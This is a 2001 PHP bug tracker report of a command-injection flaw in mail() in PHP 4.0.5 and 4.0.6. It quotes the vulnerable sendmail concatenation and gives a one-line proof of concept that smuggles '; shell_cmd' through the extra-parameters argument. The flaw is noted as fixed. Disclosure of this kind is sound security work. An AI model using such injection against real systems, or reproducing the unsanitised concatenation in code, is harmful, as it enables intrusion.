php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #12268 Security bug in php 4.0.5+
Submitted: 2001-07-19 19:29 UTC Modified: 2001-07-26 21:40 UTC
From: hard dot disk at uol dot com dot br Assigned:
Status: Closed Package: Mail related
PHP Version: 4.0.5 OS: Any
Private report: No CVE-ID: None
 [2001-07-19 19:29 UTC] hard dot disk at uol dot com dot br
http://www.net-security.org/text/bugs/995534103,28541,.shtml:


PHP Mail Function Vulnerability
Posted on 19.7.2001
php mail() function does not do check for escape shell commandes, even if
php is running in safe_mode.
So it's may be possible to bypass the safe_mode restriction and gain shell
access.
Affected:
php4.0.6
php4.0.5
Significatives lines of ext/standard/mail.c:
>extra_cmd = (*argv[4])->value.str.val;
>strcat (sendmail_cmd, extra_cmd);
>sendmail = popen(sendmail_cmd, "w");
Exploit:
mail("toto@toto.com",
"test",
"test",
"test",         "; shell_cmd");

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2001-07-19 20:56 UTC] rasmus@php.net
Fixed a while ago in CVS
 [2021-04-06 10:19 UTC] git@php.net
Automatic comment on behalf of 
Revision: https://github.com/php/pecl-system-expect/commit/f6d02a1562d44ab6297f2b55096bb220b891bc90
Log: Fixed #12268 (Capturing output via exp_loguser from within PHP / Apache):
 
PHP Copyright © 2001-2021 The PHP Group
All rights reserved.
Last updated: Mon Jun 14 11:01:24 2021 UTC